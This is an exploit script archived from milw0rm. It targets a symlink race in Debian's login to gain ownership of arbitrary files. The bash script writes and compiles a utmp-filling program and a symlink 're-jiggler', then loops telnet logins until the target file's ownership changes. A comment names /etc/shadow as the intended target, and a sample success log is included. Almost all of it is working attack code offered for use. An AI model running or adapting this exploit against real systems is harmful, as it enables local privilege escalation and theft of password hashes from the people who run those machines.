Debian - Symlink In Login Arbitrary File Ownership

#!/bin/bash -

echo '
	#include <string.h>
	#include <stdlib.h>
	#include <unistd.h>
	#include <utmp.h>
	#include <sys/types.h>
	#include <stdio.h>

	int main(int argc, char *argv[])
	{
	  struct utmp entry;
	  int i;

	  entry.ut_type=LOGIN_PROCESS;
	  strcpy(entry.ut_line,"/tmp/x");
	  entry.ut_time=0;
	  strcpy(entry.ut_user,"badguy");
	  strcpy(entry.ut_host,"badhost");
	  entry.ut_addr=0;
	  for(i=1;i<9;i++) {
	    entry.ut_pid=(pid_t)( i + (int)getpid() );
	    sprintf(entry.ut_id,"bad%d",i);
	    pututline(&entry);
	  }
	}
' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'
echo '  chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS

echo '
	#include <unistd.h>

	int main(int argc, char *argv[])
	{
	  while(1)
	  {
	    unlink("/tmp/x");
	    symlink(argv[1],"/tmp/x");
	    unlink("/tmp/x");
	    symlink(argv[2],"/tmp/x");
	  }
	}
' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!

LOOP=0
while :; do
  ((LOOP = $LOOP + 1))
  echo; echo; echo "Try = $LOOP"

  /tmp/fillutmp

  echo "Telnetting... if login succeeds, just exit for next try..."
  /usr/bin/telnet $HOST

  LS=`ls -ld $ATK`
  case "$LS" in
    *root*root* ) ;; # not done yet...
    * )
      echo; echo
      echo "Success after $LOOP tries!"
      echo "$LS"
      echo; echo
      break
    ;;
  esac
done

kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28  2006 /etc/debian_version

# milw0rm.com [2008-12-01]